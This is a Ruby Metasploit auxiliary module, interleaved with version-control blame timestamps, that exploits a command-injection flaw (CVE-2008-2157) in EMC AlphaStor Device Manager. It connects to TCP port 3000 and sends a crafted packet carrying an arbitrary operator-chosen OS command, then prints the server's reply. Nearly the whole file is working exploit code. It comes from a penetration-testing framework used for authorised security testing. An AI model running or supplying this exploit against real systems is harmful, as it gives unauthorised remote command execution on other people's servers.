2008-09-01 11:28:55 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2008-09-01 11:28:55 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'EMC AlphaStor Device Manager Arbitrary Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
EMC AlphaStor Device Manager is prone to a remote command-injection vulnerability
|
|
|
|
because the application fails to properly sanitize user-supplied input.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=703' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '45715' ],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'CVE', '2008-2157' ],
|
|
|
|
[ 'BID', '29398' ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'May 27 2008'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(3000),
|
|
|
|
OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
connect
|
|
|
|
|
|
|
|
data = "\x75" + datastore['CMD']
|
|
|
|
pad = "\x00" * 512
|
|
|
|
|
|
|
|
pkt = data + pad
|
|
|
|
|
|
|
|
print_status("Sending command: #{datastore['CMD']}")
|
|
|
|
sock.put(pkt)
|
|
|
|
|
|
|
|
# try to suck it all in.
|
|
|
|
select(nil,nil,nil,5)
|
|
|
|
|
|
|
|
res = sock.get_once || ''
|
|
|
|
|
|
|
|
res.each_line do |info|
|
|
|
|
print_status("#{info.gsub(/[^[:print:]]+/,"")}") # hack.
|
|
|
|
end
|
|
|
|
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
end
|
2009-10-14 11:45:14 +00:00
|
|
|
end
|